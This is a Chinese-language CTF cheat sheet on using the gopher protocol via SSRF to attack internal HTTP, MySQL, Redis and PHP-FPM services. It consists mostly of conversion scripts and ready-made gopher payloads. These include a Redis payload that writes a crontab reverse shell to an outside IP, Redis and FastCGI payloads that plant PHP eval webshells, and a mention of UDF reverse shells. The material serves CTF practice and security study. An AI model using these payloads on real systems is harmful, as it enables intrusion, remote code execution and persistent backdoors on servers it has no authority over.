前言
这里记录一下gopher协议打内网应用的复现,方便比赛的时候查阅,立即生成payload。
Gopher协议简介
1.定义
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。
2.限制
gopher协议在各语言的使用限制
3.格式
1 | URL:gopher://<host>:<port>/<gopher-path>_TCP流 |
注意几个点
- gopher协议默认端口70,所以大部分情况下要指定端口号
- 注意TCP流前面的下划线
_
- TCP流中的换行要用%0d%0a代替,参数之间的&也要url编码(最方便的是全部TCP数据都用url编码即可),如果是作为GET参数传入代码然后发送gopher,则需要二次url编码,即把
%
换成%25
即可,比如%61
换成%2561
,第一次解码变成%61
然后发出
4.准备一个由ssrf漏洞的页面
ssrf.php
1 |
|
Gopher发http请求
GET 请求
准备一个测试页面gopher_get.php
1 | <?php |
一般情况下用gopher发GET请求的请求包不需要自己构造,在做题的时候直接抓页面的包即可作为请求包。这里采取构造的方式,发一个最简单的GET请求包过去
1 | GET /gopher_get.php?name=diggid HTTP/1.1 |
写一个小脚本把请求包转成gopher数据流,注意http请求包最后还需要%0d%0a
,标志请求包结束
1 | from urllib.parse import quote_plus |
然后打一发
POST 请求
还是一个测试页面
1 | <?php |
POST请求和GET请求的请求包有一些不一样的地方,除了开头的GET要换成POST之外,POST请求还必须包括以下字段
- Content-Type:application/x-www-form-urlencoded
- Content-Length:xx
因此一个完整的POST包长这样
1 | POST /gopher_post.php HTTP/1.1 |
稍微改一下脚本计算Content-Length
1 | from urllib.parse import quote_plus |
Gopher打Mysql
mysql连接方式
mysql客户端连接服务端有以下三种方式
Unix套接字:在Linux或Unix环境下,输入
mysql–uroot –proot
登录mysql服务器使用的就是该方式,该方式不是一种网络协议,只有客户端和服务端在同一台电脑上才能使用内存共享/命名管道:在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
TCP/IP套接字:这是一种网络协议,适用于任何系统,当使用
mysql –h 127.0.0.1 –u root –proot
登录时,就是该种方式
因此,我们需要使用 **mysql –h 127.0.0.1 –uroot –proot **的登录方式来连接mysql服务端,从而抓取到TCP/IP的数据流
mysql认证过程
很显然,mysql存在两种认证过程
密码认证:服务器先发送salt,然后客户端使用salt加密密码后进行认证,加密后的密码值正确则认证成功
无需密码:直接发送TCP/IP数据包即可,不需要密码
因此,要想用SSRF来攻击mysql,必须在未授权(无需密码)的情况下进行,在授权情况下需要知道密码+salt
服务端与客户端的交互主要分为两个阶段:
- 连接阶段(认证阶段):包括握手包和认证包。主要关注认证包的内容
具体各字节的含义这里不展开来说。
Packet Length为整个数据包的长度,Packet Number随着每个数据包的个数从0开始递增,当碰到新的命令执行阶段则重置为0,比如:
- 命令阶段:每条命令重置Packet Number为0
攻击复现
可能会出现的问题:存在ssrf漏洞的服务器的mysql版本要和本地构造数据包的mysql版本相同,否则格式不同
查看mysql版本:
mysql -V
这里复现一下操作过程,根据上面的分析,如果要攻击内网的未授权mysql服务器,则只需要用任意账户登录,然后执行命令即可。
- 本地创建一个任意权限的账户diggid,模拟未授权过程(该部分不需要抓包)
1 | create user 'diggid'@'localhost'; |
- 本地开两个shell,一个作为攻击方,一个抓包
1 | 抓包: |
在wireshark中打开mysql.pcap,然后追踪tcp流
把数据抠出来,然后用脚本改一下
1 | from urllib.parse import quote_plus |
1 | gopher://127.0.0.1:3306/_%bc%00%00%01%84%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0f%00%00%00%64%69%67%67%69%64%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7d%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%33%37%30%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%31%2e%38%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%01%00%00%00%01 |
然后用curl打一发即可。如果碰到无回显的情况,则可以写shell或者使用udf反弹shell等
Gopher打Redis
redis未授权访问的利用方式有如下几种:
- 写webshell
- 写crontab反弹shell
- 写ssh公钥并访问
写crontab反弹shell
这里先尝试第二种利用方式,写crontab反弹shell
常见redis反弹shell的bash脚本:
gopher_redis.sh
1 | redis-cli -h $1 -p $2 flushall |
- $1:传入redis服务器的地址,本地测试的话就写127.0.0.1
- $2:传入redis服务的端口,默认6379
然后执行该脚本的命令
1 | bash gopher_redis.sh 127.0.0.1 6379 |
获取TCP数据
执行命令的TCP数据包,我们可以通过socat来转发获取,转发命令如下
1 | socat -v tcp-listen:6666,fork tcp-connect:localhost:6379 |
开启redis服务器,未授权
1 | ./redis-server --protected-mode no |
执行脚本
1 | bash gopher_redis.sh 127.0.0.1 6666 |
转换数据
获取到的数据如下:
1 | > 2021/04/05 21:26:27.439238 length=18 from=0 to=17 |
转换规则:
第一个字符是
>
或<
则丢弃该行,表示时间前三个字符是
+OK
则丢弃该行,表示执行成功将
\r
换为%0d0a
,表示换行空白行替换为
%0a
,如果一行只有\r
,则要替换为%0a%0d%0a
转换脚本如下:
1 | import sys |
转换结果如下:
1 | gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/101.132.159.30/6666 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a |
然后gopher协议来一发,注意curl的url需要单引号包裹
写webshell
shell命令的格式都差不多,把反弹shell换成webshell和写入的目录换一下就好了
1 | redis-cli -h $1 -p $2 flushall |
和上面一样本地开启socat转发,redis服务端开启未授权,执行上述shell脚本,得到的数据如下:
1 | > 2021/04/05 23:50:43.515034 length=18 from=0 to=17 |
用脚本转换如下,需要发送到测试页面(二次编码)
1 | gopher://127.0.0.1:6379/_%2A1%250d%250a%248%250d%250aflushall%250d%250a%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2435%250d%250a%250a%250a%3C%3Fphp+%40eval%28%24_POST%5Bdiggid%5D%29%3B%3F%3E%250a%250a%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%249%250d%250ashell.php%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a |
打一发出去
访问一下,或者拿蚁剑连一手(下图是GET方法,拿蚁剑连的话最好使用POST方法的马,否则可能会连不上)
Gopher打FastCGI
关于fastcgi的知识具体参考P牛文章
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用条件
libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
PHP-FPM监听端口,默认端口为9000
PHP-FPM版本 >= 5.3.3
获取数据
利用P牛的一个脚本:fpm.py
1 | import socket |
脚本用法很简单,**-c 指定命令 ,-p 指定端口 ,host (主机),file (已知php文件的绝对路径)**
本地监听一个6666端口nc -lvvp 6666 > tcp.txt
然后使用脚本把流量打到该端口获取数据
1 | python fpm.py -c "<?php system('echo \'<?php @eval(\$_GET[diggid])?>\' >> '.__DIR__.'/shell.php'); exit;?>" -p 9000 127.0.0.1 /var/www/html/info.php |
然后把tcp.txt文件的内容转为gopher的数据,直接quote一下就行
1 | from urllib.parse import quote |
得到的数据
1 | gopher://127.0.0.1:9000/_%01%01Xl%00%08%00%00%00%01%00%00%00%00%00%00%01%04Xl%01%D8%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME/var/www/html/info.php%0B%16SCRIPT_NAME/var/www/html/info.php%0C%00QUERY_STRING%0B%16REQUEST_URI/var/www/html/info.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH87%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04Xl%00%00%00%00%01%05Xl%00W%00%00%3C%3Fphp%20system%28%27echo%20%5C%27%3C%3Fphp%20%40eval%28%24_GET%5Bdiggid%5D%29%3F%3E%5C%27%20%3E%3E%20%27.__DIR__.%27/shell.php%27%29%3B%20exit%3B%3F%3E%01%05Xl%00%00%00%00 |
小工具
工具地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream
简单使用方法
1.mysql
起mysql服务器
1 | service mysql start |
sniffer监听流量
1 | ./sniffer -p3306 |
客户端执行命令
1 | mysql -h 127.0.0.1 -u diggid |
然后得到数据流,处理一下即可
2.redis
起redis
1 | ./redis-server --protected-mode no |
sniffer监听
1 | ./sniffer -p6379 |
客户端连接并执行命令,这里用我们那个脚本
1 | bash gopher_redis.sh 127.0.0.1 6379 |